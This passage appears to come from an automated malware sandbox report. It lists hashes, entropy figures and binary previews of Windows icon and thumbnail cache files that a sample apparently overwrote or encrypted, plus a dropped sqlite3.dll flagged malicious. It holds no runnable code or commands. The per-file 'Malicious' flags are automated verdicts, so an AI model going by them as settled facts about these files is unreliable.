Entropy (8bit):	7.334470170084769
Encrypted:	false
SSDEEP:	6:gqKsC35P83ALMjgsRs2r8D6rnKbra9gj4i3Aamg/eliEdy6Dsowfw5XeWcii96Z:vHerLMjCM8GrK3a9gIVlLduoqw1cii9a
MD5:	4D9971E96B2738564E269FB53EFCA730
SHA1:	CB71E6C2731548B2CFB855C64CB6507ADBDB52B1
SHA-256:	08C7381C5AFDE5B9706E35E0F62BED3E6D0BD9265A058FAB01DDF05AB5036569
SHA-512:	EDE6908EDAFD1E45F5525CAB79AA78C7875F2512E7E1EA4AB1CBF91855CE95965D8ABCE0DFC4C01EE37B070EA2958E7723986F84F151AF10F104C999C561AF14
Malicious:	false
Preview:	CMMM pu...O.....l..`..Z.Z..z..\|R...U..(W.{z3..<s...r..).2.....I..Q-.r.i0Q..6...U1.@...k..0.....x...u..{h...z.......5']..Q6x....+.8.%c..W`..!^..c4...$.blu.....>.....?..4.....\|Z...jGVP.#_........U .....W...q...0.26..k....)s..c.p.-...>9\@.+*.w.C3..T....Dd.o.1f(..9v..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_768.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.237200440947638
Encrypted:	false
SSDEEP:	6:bsjkbD7on6fasH4M+PIrU5N4Og/FLN3aVSg77uDkr1owfw5XeWcii96Z:l/sn6fZH4MmIAf4z9Qlr1oqw1cii9a
MD5:	9A7233EB6C974FB09FFD50B20D4429E2
SHA1:	79ADA78549762B1D19010C3087D55A05D086F77D
SHA-256:	5906F4449C4187DC0BDDDC7A5B6B34414AFE68D80169A9169C2566B4CC9F5946
SHA-512:	B937D1F233892F3C6D7CCB5ED0903A3EA6579C06C79172D55593AB7352078924727A40E0E5C6E419FB2E417C0AEBF21747EE2FC8AB7C2A49C8E1A5016FA52B4C
Malicious:	false
Preview:	CMMM JhD....V...d.9.}CxV.7Y.. S51G.9...l......+WL.....(.rxHZ..JH..<D...."...4!......-.i.[>.1.H.x.....kN?\|........9j.Va....+q8...ZT.G..m.....p..X..;....&.b.x.H.2............u.spD...'..$1\|....B..I}.....j.Ub..f..d..&........:.K.h...*....qJ.m.U..UQ^.(9z...Jl..LkH..?...VTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_96.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.270206813826923
Encrypted:	false
SSDEEP:	6:/9lnUZKy47N5mEax4Cz6Y7/Ooy4Pjd5QqrJyVZclMGI8OtDbowfw5XeWcii96Z:FlIwmEaxPedZ4b/V8VZclMeOxboqw1cq
MD5:	9F0F9771E05927236EDFC3551D551D12
SHA1:	2EF4DC7918E1510D8E03EA3F05512A93CD7FDB6D
SHA-256:	24B32CEDA55EB984A617B0EC598DE14E8C871B1840E1F6A3900909241A49DFB7
SHA-512:	91C8A8D3A2CCFFD724BA61051A51D5E7B9A89E433560A9050E816903CD223BC641739D48D42F9709CF82536595180A0C1CA3E8EF81813D040CEDD4C2AB7B92C9
Malicious:	false
Preview:	CMMM .kB....H....Wi.._A.tIjL......~...0`f..~..=..z.8.o;Wg...P.b1%.\...K.48H.I..d=..'.H.g?..3..o....'..:.],).<.V_\..I....Q.....o.;4$z.......x...s.c.W..\...%.6..w......P/.....5.]..Fl.)....t@.Fp.....]B.$aS...6q.N#.3.khl..,....'......?<...f=...n...?J....u.E.Y....>=W.Z..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_custom_stream.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.331315883501744
Encrypted:	false
SSDEEP:	6:CCsXpNZoRoGBUspPOzIFJyrkD2giEcTcHoy6Ma0hriivAWYowfw5XeWcii96Z:CCEtoRX1p2sFJr2XiB5Yoqw1cii9a
MD5:	CEF4871E63F717CEEFA3E9A2C15D84F5
SHA1:	690541EB07E8D483F5684C4AF46BF77108730253
SHA-256:	FEB27EABA4ED0E035E2135FFAD1505DECE00A1A623BEBE69CA39CEA11F380355
SHA-512:	EF9B2CE71E7931300752173C1BD56CC213F2731EAD6A16E16DE036761527D65508FB8879B5C9EAEBD0328ED6131F4E860B01D5DB8DF917C0600CA4BC5B00C335
Malicious:	false
Preview:	CMMM ...t...m._$.....?..%e...Y...(......L..x.M..cJ.g=..X.s.....o.'.8.z....r.4pn_3^ ..5..n.IE%..w{..x..n..L.$.as..F\|.)tN.i\|=c...ox7.R8t..+#W..7.G...j.@j..~..Z...=.z.t.....!y.H...U...\Q..Q....K/l..7.E.#...P..]x.8].l..s.eGo....L..Y..@...q....0.X.....p.X.hf...W.i&.o.Z.."jTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_exif.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.217891015074966
Encrypted:	false
SSDEEP:	6:SKA3kqgjk9xFZJwoeaitJJwK6Tf4xYF6nW7lOP0/QXxQ6dwowfw5XeWcii96Z:SfkqflYyT7F64jq/woqw1cii9a
MD5:	249C296392F572A20F04C8A52C70C9D4
SHA1:	697F00BB97BD82F73D8CD53EAB9FE63860CCFD6B
SHA-256:	B12EB40F17FD693B2D7C3B7BD113BB905D3EA2D5C19A58ADE2B45F43E4AF2785
SHA-512:	69E5BCA6B6E8B3193D1132EB5DD40D34A661CC39E0DD507BB2F4EFA71A49DF2082E0677697E20CCBE35973B8F5E6D95B9666F24E80FC952777B3F0E9B85E6DE2
Malicious:	false
Preview:	CMMM ..UJ.9.h.fc.f......n..X..80p7.~.. .e...i..I..HkX.....5z.fV.-.q.Y......d..T..F............Xq..? .B>..<x....;....HU&.....y..(j.......fM@?.8}.....I./.=.w....p...T&f.K{[...F..o.u..H..E.......g)I.....(..UhlN.a0H..6.t&...e.n.mNU......1w..;..{.o]....../J.S.].....Y..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_sr.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.223315536052219
Encrypted:	false
SSDEEP:	6:tQQax1TKven/SYUtN8ctsqiEY1a1uoMKL2sT5CbyHUyTs53v8+CBowfw5XeWciik:t00veK58ctsB1a1uSisT5CkJo3vvsoqa
MD5:	DA5537BB3B2007286C2D82BCBAA9174A
SHA1:	C598F5197D4A586EB6E6047759684C3556734A76
SHA-256:	B537686D068E1C018D486CB9423AF97F1111FE680307583C139F555045BA3A45
SHA-512:	DEE54B59AAC94D5BFB03127867904DE36ECF72549B3559819B2A4F38DA36594F61035D66D1C803CE2FED74775DF3D82BA7B656C633CDE7F7B23E4D4B12A88441
Malicious:	false
Preview:	CMMM ..07./....4y'...z.\|....h....k..i..}.{.7i.o.i_.I;.n3..0,.......'........g..)`eeT"QeO.......S......>..z~V ..M..M.s...PC.....Y...go#.i.W..h%..:2.}....\|7.4P~tl........m%L..ro .Y..S.~.H...g..U.....U%.T6.e ..[_x.D.hx.Wt?..2...}.&......v.>...k..9.......(.`J.f[.%..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2857145905405165
Encrypted:	false
SSDEEP:	6:pAaNWYCSarQtMsJHqfFcwBkOna77Bxswcbrs8vXjGVWNAUsgrsowfw5XeWcii96Z:pAaNH1tMCs2wBkOna77grssKUNAQsoqa
MD5:	ACC14DB6940FB234D980D494F9FC1AB6
SHA1:	CACDD106180D1970A098876DD8CD78506CFECD57
SHA-256:	73247D4CA3A5237F699C8E149E12532C806D6CFCAE13E95C9CE894FA66EF979D
SHA-512:	274D363FDCBE40FB31F2B7B800C74F75312FE9E668D2774EBB574C43E4AD0B32D0449835C8CEF8AFB72FA4693F713E27277C8596A9BA9C42BEC1B6E14796A727
Malicious:	false
Preview:	CMMM I..cU.5Nq...P.....B.]+....\|..........Q.L..:.oD#.pqw.\=$m.bI.>...%1.%.6+.`.C.0.@v.zy.....Y....4.h....D!.....~iH4.=....d.Eo/`....c.^5.D..3l.(..R.....U9{.cub.=?...K.O.S."..X..P...+.......... V....?..:s.f..UQW.<..c.-...>.B@8..^......]a.J.Z.%..%1.>n....GPf,.ETkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide_alternate.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.243319515208373
Encrypted:	false
SSDEEP:	6:sXZ0xRzWt3w7bciLoBdHJFuPJCZ0nZwqqcl8w62GstxOBHowfw5XeWcii96Z:YORy+bDLonpFk1wdyN62ONoqw1cii9a
MD5:	BDA662432C75C393A725518F7E4DCB3C
SHA1:	E0FE79A110B77F0C5AE94393CE292ECA5537AEAF
SHA-256:	2BED2C263B8136CEB3F784E681A3CDDB49FE0CBD87E5773D07B8F704C0B8FC04
SHA-512:	A20FD2C522C7C01AD6D89307E8D70241CF6DB462AD3CA0494200F0DA950FDC2BC66ED12A812AE85377EA4489C36F3083F4C75463E98694CB319917146CD2C8FE
Malicious:	false
Preview:	CMMM ...i+...(...3...wX..\|R..c.C.t^..;...L.......[.zJ{3"..6....\|..5R%.......J...iE.3{...^.c.<y`..}o....Z....d.B@.G..7....!.....;.1.uy1...e...b...L...8...$.E.-..8..1t...HB?K.....O....d.g..(.l....[o.U).H.R.......L>.p[.*.r$....tI.E.I..s .3U..}.._..~[..O.n. B.....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1280.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.269216006959212
Encrypted:	false
SSDEEP:	6:Oru5WpqLAz0mH2PvTqBicCToGZLVuAXV2cwWQVwyqN9sYSvz7owfw5XeWcii96Z:Oxp3HINcGu82wNN9sYSv3oqw1cii9a
MD5:	93D180A8D0BF9CE4C319E0E523FFCCBE
SHA1:	7DD2C27D936932F391E0EF3505B9273B33129CB6
SHA-256:	6821FB7B91796B6A3D816372235455899B4F125EA12DECCA8792AF6A15862C39
SHA-512:	90BD7AD10D0935FC1DC4D765CE5B8FFD27EE2120E21FBB92D6859903B9168F59C9C3E49DF780B9415C75628839E8C062EC906C376893E81520491A9047F44197
Malicious:	false
Preview:	CMMM ...c..$...6.\|u\.ok....CM0h&..8..g 9.,..;..G~.V.Y{....!I..".R?+:......,.*E........z....._]..$.T...@.4..X.....lr...i&hP..u..H.R.I..nA....)<oi.>...Q3f..T..Z......+..0_.n.7.F.C.F+e..{...m.G[...M..........A....w.U.e_x....!...?.=.'\|1N.}.....(2.?.Y.)#.X&-F..V\|=..H...ws.yh.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1920.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.24387742286262
Encrypted:	false
SSDEEP:	6:JwNc94BYALRCnDlzjmvTLFTBnHXSFnRTn5kilD4LyKkHZgBBjywowfw5XeWcii9a:+Nc9WYA9+zjmLxTZHXSpx5zD485gXoqa
MD5:	937CA74300067ED4B1B6E424EDA4973C
SHA1:	FD8C52787B71FC4480657246B72FB6EBA1289E23
SHA-256:	59B33194AAEBAD7EF57660BF0ED64B99369B729E969BF8B7ECC8A865E0E0F45C
SHA-512:	EB6D499C326AE05C6838BB588454E8273D7E92BB82683517216DD817A8A14AA8D206C79B0D65D5634DC5B829BD133A55D6DCE4492A236E2CC76678F4FD405F95
Malicious:	false
Preview:	CMMM ..{{./WE.U.}X.fUB.....G`r...C.1..s...F~]#.F.....y5$&J.S.S.92.........AOi.L..-...1-.....V4s.A.V......q.&.X ...hu.s.kl\tS..n..a..+..?R...G..._..")..R..7..G.RU.D..v..piatd%Z..?A.x\bz....K:..a.aO].Z.yn.w;....VZ..5.&;..e=_.X.@{.A....t.D....C.r.............{.%u.sWTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_2560.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2294076437241666
Encrypted:	false
SSDEEP:	6:iL8VT0U4ySLxJI0n3smmiHOuZNS6sUBxGhOfNCl1ezJx23mgMqUMNowfw5XeWciD:o8KU4yOxJL3dmiuuZNStdhO8iI6MNoqa
MD5:	DCF7FE32905615798D4A2857E241FE53
SHA1:	D82D6261F30888026F553001FBB2F93FE29FE10B
SHA-256:	B1C63F5451DD909B45CC3D97ACF235B8982C97BE3698D0197B229521D719DACE
SHA-512:	D7B52A8A6856F1BD6F2E1EE2B6407BE0E5618FACDAF351FB3F65F7B8A454B0692A2B500532017B4C47F34B5906324111F2592C3FCC9619EB3EE58BB41415C73E
Malicious:	false
Preview:	CMMM ..o]2^..._....j@;..[.G.qX.}..1(a....]..Sx.L\|.....(...DJ\Aw......8..AU%pV)...'H.8.-.V.jh.f.R.nz..$.y.;x.M....X.......9D70..t..s"........v..vj.\-..*,D.0.(.0j..~._F5.~}....T...+...N....'E...h..mI.f..FZn..XTz.......V....N.K..>k.....F........ '......_......J{..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.7684077615628462
Encrypted:	false
SSDEEP:	3072:B/+G6ylYUSXiXLvMJPKNncqvdla73XLaYqio3feWAD0PQF8jsUmkrLSzjZVi:BUi7DNn473XLar3NPrckrIg
MD5:	732D2486FA0937688B16B0D24E952115
SHA1:	6231960502FDE4386A6CBB1B348DABB0C812A0F8
SHA-256:	41AF27CA2CC8034A6BB8409AC036F60EB775E80128FD9020E8E7FB00E89069C2
SHA-512:	10F6DE158E626A6356898D061E2370A105DB8D48561DE2D988BB9600D9B34D999BC579BC36823F632ADB4AFBDEE65B23F20A80D1196EE791587C2C2013F72361
Malicious:	false
Preview:	CMMM \....5./V.^..(.........Kv.+g...M\|.\|.r.....8f..J.........>...0$.l..Mb.x...Nxs...X..w...>..?b..E.z..,+U...N.a..b;.1(\|l....d&.... .Jt....t.$K..Dp.pkL.. .M}...Sd......C.k.2;..4..T.n.BZ.....r94..t.x...-Kf.......z!~cY."OK..!..j...,....`{...=..K........al.. YF>yx.Ir..#.....M.......^.C..\|{\.X...........)L.&....J...8.O9..c?u.sBN}.M.ro.I<.?...\..iv.a.....Z-..w..xx&.c...X.V5.muq..03.A..b..t."..zf..;.O..a.P....7....%.{.. $..G..+uW...z...Be;..i.5..X...A,.]...f.W.Q.'..Q6...d.Y...0..va.92...n>..<..=9.. ...0"9......s.....@.......!...<........k..9....=.&f.~.[....gr.,....@\~#.9...%..L..o.O0......+...n..g.jv.z...iz.}8iaV...m........u...8......`L.....d....'.tN(...H........t..A..8.U.2...b..6..@y...XI..E".A.,......O.~/.aUK.A..2...1...?PN.......P...\|...VFn.".7...@_....wB...I..cU.g]......v..e}.....E..Wxu.H.iS.i......:.)q....bN....!.p\.........X..Z7#.....F.0.....E.....B.....q.8..M]M...}/*..H.4.o,...=.$/'.Q&.kc.r^.z.._..(.+N......p..p\|..p...>q.$....0...

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_768.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2694751977826995
Encrypted:	false
SSDEEP:	6:abttj2tom448a6NSDJ+HwEZNAn5umdnyLC4PqWwJkOk15t81EDsowfw5XeWcii9a:axQo28a6OwdknMRwub5woqw1cii9a
MD5:	36758E60011CBF28E99F1B8A6DA4920B
SHA1:	F8624018CF66C367685014B5F4B37AD32B5BDC42
SHA-256:	2077E20668672CC5F02961C0A58A81CC5506AA71DB7B50ED6C3B3B91711B3EAC
SHA-512:	57E850F1CD29D1E4F5BF91BDAA518AA809318BC575D3DA46A7C0C9D70464987E5C761256BF95F022DD90D9F756338A43473CBB11D61A43DD0608AE50523109D5
Malicious:	false
Preview:	CMMM ....._.B...}z(..YZ.}R....j.kfhB...........z..g$ew..../....V..r....9tp2...$+\|.........!....&.0/..@...Y..1#.-......$.c.V...fC[..B"B.s[.{...0.G_.k.:..r..:.z....q....Y.tc......k.....H.[.b}..D....k..Y....v.8..{.D..[.....F....H.+..6....#...G.p.u?+..Y.b.<......H...uTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	4.1270318435670905
Encrypted:	false
SSDEEP:	24576:dbILLpsihVnmNVf2I8wHXEH9KPaBCr/5TO4ImqrYEFtxNVPXtX6we:uLplrnmNVLgH9Ky0r/s+qrYEFtxNVPC
MD5:	330EF6FE7933D8308BBF034E3FA0FAA6
SHA1:	AB62D76F0F2F3E64635D8B13080ED78A6270C70D
SHA-256:	A06149B4C4949C91258CA85576FBCA5A37207DFED4CF3EE5AB34FEEB9A190A9A
SHA-512:	C975BE6E1F445D862ED276ABE89A656B701C8E435E606A6DFBBC3C6EF1A70FFC9A102C0AA65C96411FE1FBA7EC44576A15429A44A2DF385A8CBCC25465A0D83F
Malicious:	false
Preview:	CMMM .._q..+..E.w4^._p...0..8f.6....M.A......au.V...S`..9q.n9..@.-...e..=m..,.W...<@....d......)....I} .Uh>.7...+..8.fF....Q.Zi. .p.N4&....i.J".2c.7.E5.k.U.P.7k....V.Su....-./..Av......4.U.e`&...!&l.[`ce%2,.Q2.`-.u..#..`7.bYo...H]l..N.J..t>r-..u.0..........Wv.8............ ...@...f.....(3...o.qC.......v......D..n...{.._n. Rd.pmW...\|}.v!!.\=........:K...C..t...D...Iu..\.{.".4..w.T..`.Wt....+.q..mtV..s.....je\|:Kz.^...,.JW<......\|]..\..X....O..qhAE..Y<.r..~R^.b....:.\|.T{.L4..3.8.O4-.5e.I..C.'.....G....bF..h{.;.K...V.6..n.9r5.Na.Y.o..S...8..q....QO.S.>.S..).=IFj.7S.[..?\.:.<a..'.F.M....p4...yh..(.2Xc..p..JGh!.^.?Z......a.@V.jM,.(.hDO.~.xi...i<:.#.....V^hKq.q..........:...u-..k.V.O.m.E....Z./.f.y....bZ...n.A..k.1f5.......W.+s......gZZ.f...a........c......@\6..m..E...5..]..t/V=......mS.4.....F....:...e..%=....ha.P{x.J.Na.EY.&.Oj..N+'^.&...tB..T4.Ed.;8...a.....}....~I4.1E!..f+D.!....@...F..z..........hV....,kU.;J.......#.. .6^a...c{..j..<

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_custom_stream.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.327865343334491
Encrypted:	false
SSDEEP:	6:I3f4xR1oo8OZweATTSlHeTp4Y+eVt6NPpnTHtVrlHMuq5H3owfw5XeWcii96Z:wf4xMo8OZMTTSfYdgtY3oqw1cii9a
MD5:	BBCFD95AEC568C88C1A1308AE187E328
SHA1:	FBBEEC6F02F1D05E7A9C61BCB3679479B952D759
SHA-256:	DAAF7ED586471094AFC8850C1FE29B2FBE381D6E2ACA3610BD968AF233FF71F8
SHA-512:	F1BE9995C6C442F031940BBE6ED8C0EA257F2454F966C0D1FA74A8D535A0DD4E00C4BAE7A6F30F7A11CF53CD22A7B8A3AA55B5251547A8751C8864E05EE4B3A4
Malicious:	false
Preview:	CMMM ....(.......IW.....`..(.......\|d.l.:.r..N..AJ....,.y@.f..9\|... .2`.<....s../3Jw..3.r.. ..q...Aw.N.J.&........l.+...@.8..F.!.&......N..n/..0...P.."2.\..n.I.h.Z.......r.9.c..*..E....,CB..G...yy^.vsej..x....\|.o...F......n.D.XJLK..G..g..y]~._.....^.dH>...u..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_exif.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.304654685434239
Encrypted:	false
SSDEEP:	6:YS5WlElkURaJubEioLWnVQxvVvtmF0OADHZRYqDR8yIY7gcViPUYjlpFe1sowfwd:j5wlUSPknVQxNvtmPAD564R8bZVemoqa
MD5:	E84E0764352764193361BB718DCC44FF
SHA1:	DB5ADCE4CA59F25FC6074E9D31F2900686B237EF
SHA-256:	6D20E79256013B24625AD3B8801E85EBAAB37C763D3BC44E54B562B782AFCB93
SHA-512:	FC2F2C204F2E649973F027D5F64CA8F1960F65E8251C8375C913F673DA64A085DF0396C85BA07FEE5F1AF0A27664EA64FB188C4071AAA54208B383B01561D713
Malicious:	false
Preview:	CMMM ........3v.sB..Ca..X... 7n.....S...E...Z..n.......,U...l..=..bZ&....Ycq<.-........e......P......B..\...<4Y..K&..\..ud...~..R..5.0...)...iS......I..s5.....{...3..[..O.T.@~UB.....U.1'>.Y.....e?M..g...).f.X........8........a....Ap..N.\|..9P(9...2.&.o{.Q)q.F...:QTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_sr.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.3097107976625635
Encrypted:	false
SSDEEP:	6:79Ae1BTSnTJkLqJWeS9a4zF/dmCaKZTlqTi0VT/td8Q5in5rDbowfw5XeWcii96Z:79XvTSnlkeYeSfmZIY2cT/xin5rDboqa
MD5:	68CC68342DC42589FBEC817908AF4CCB
SHA1:	93DB97CA22A3DB262169990D836816AE6FFF3C5F
SHA-256:	E08902057E6E220819170F75BCF267B08C88A84C6D82FDB63DBC7EF9DDEBEECD
SHA-512:	625F8A99961B6877E419FDBE2A498B5D4EC62F30F1592E0D961782EF2B308B9623E1C805DEB358E1135C4AE8BA8AF3FFF96CD796A74BC1B732F299E5F7A620A4
Malicious:	false
Preview:	CMMM ..%U..g@Qf3=.u...e`l...S.a.eiP<.}..L...O4...........IH....O..........?....v..3..j..K..O..^I/s........x.."....e.......]....@...E..%..7.]......$.....@...KG'...y...j...6.2..o..8.kc.dz.!4.?;.;.Q.....d(c.x....-.@.`u?...zt....+vc}..Z.w..N..._>..D..8...&%...T...a...=.v.j.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.235325581891128
Encrypted:	false
SSDEEP:	6:I2BAcCoB+SgGAMCr1e3JSV9+Y2I1uEdgA7SVCCFJgFzXo+0Osowfw5XeWcii96Z:ItzYpChe3EHdMDmzXlsoqw1cii9a
MD5:	24B71FEF7CDADEBB77CAA596A18762C4
SHA1:	5F3BC690F7FEF402260216D4859FB8938BBE1405
SHA-256:	4D1B0075B8DFFAC56A615DBC9C81FC744CC20EA508A2542F0F6274A5DC66B2C2
SHA-512:	1CE1DDFF229407CE7ADBC31F9ED4CB2A145983EFC1D33904918739B92299E19353CAF036EEFDEFA86369EF9D1D4AA9765460A0F9D433989B385C62E6A7FD2D3F
Malicious:	false
Preview:	CMMM .}....E.z{h..G..%.f.n?..d`......j...4.0"!l_..B..S ]Q.Wi~.......i.7F,.)......c...B.:L7AA...+X.m...Q.=B0.{.n.a.s...M.8....m (:e>yML.&=bG?WH.....Y.d.k..N.eG..l.1....6.g9!....T].g.5m.Sy.:@.=..+.&....V7......+.]?.....6Y"Tu..&........x..r..M..v5..KnV..+......Z..f.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide_alternate.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.330180766304629
Encrypted:	false
SSDEEP:	6:2kTzPjxWeR8A8roZF3srtHwPR26KE7fD+GRtP/Wg/j8n3j4byReSQQxmsowfw5Xn:2YzPNW5A887GlSR26/H/IAYn3j4uWOmz
MD5:	FB12D537877CFAF397AB22399D568AD9
SHA1:	57509ADA751A3DC5EB646830833A5DE5886CC7AB
SHA-256:	E4E7D454065252943ADB32FD2826D2F98727D6ACD99EE5542BB85D5DC771894A
SHA-512:	4A0B36A2F39BEA137DC0EFD6B02DBBBB90EF1B36C66B50ACFEC12C5E8EB872BFEF8FF46F041BE5AEDB3FCBB47B655406E2348673ED5172C4BF3C1D17002B1DE2
Malicious:	false
Preview:	CMMM ....6......c.>...a.....&2..:..M...f.Z.....-.\...J.[.^.3..p....k.S..%.;R..M.....L..V.CLd....1_;.....^...\|...i.?8.....tWa.G...b.&Z...-.....u..]9e./.x...B.b.#.tq.+c.F.\|.>c........e.F..&...+-MR..=..e.3...P...F...L..6.y..'._m...a.o!..+..........18+........bH.8.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\sqlite3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1106998
Entropy (8bit):	6.500333177860392
Encrypted:	false
SSDEEP:	12288:dxylSMUMifofI9ayCvcZMBiMjCodEMdo8R66tCWko5+jsbFcoYuprzpGSgGSrz:d4AMB3caSZMijBI1CWkoj5auF5gGSrz
MD5:	1F44D4D3087C2B202CF9C90EE9D04B0F
SHA1:	106A3EBC9E39AB6DDB3FF987EFB6527C956F192D
SHA-256:	4841020C8BD06B08FDE6E44CBE2E2AB33439E1C8368E936EC5B00DC0584F7260
SHA-512:	B614C72A3C1CE681EBFFA628E29AA50275CC80CA9267380960C5198EA4D0A3F2DF6CFB7275491D220BAD72F14FC94E6656501E9A061D102FB11E00CFDA2BEB45
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: PbQI1np5cI.exe, Detection: malicious, Browse Filename: CinaQ61J8d.exe, Detection: malicious, Browse Filename: H88B1esQF0.exe, Detection: malicious, Browse Filename: n8JqyJSXnE.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: buildz.exe, Detection: malicious, Browse Filename: OIpWHA8mdz.exe, Detection: malicious, Browse Filename: XrNOw4sxMG.exe, Detection: malicious, Browse Filename: n1ppfW1lhW.exe, Detection: malicious, Browse Filename: 7yCti1JQXn.exe, Detection: malicious, Browse Filename: EdRzQIfoXb.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: buildz.exe, Detection: malicious, Browse Filename: build2.exe, Detection: malicious, Browse Filename: New_Text_Document_mod.exse.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Setup_Pswrd_1234.rar, Detection: malicious, Browse Filename: QOPSHkaNOa.exe, Detection: malicious, Browse Filename: 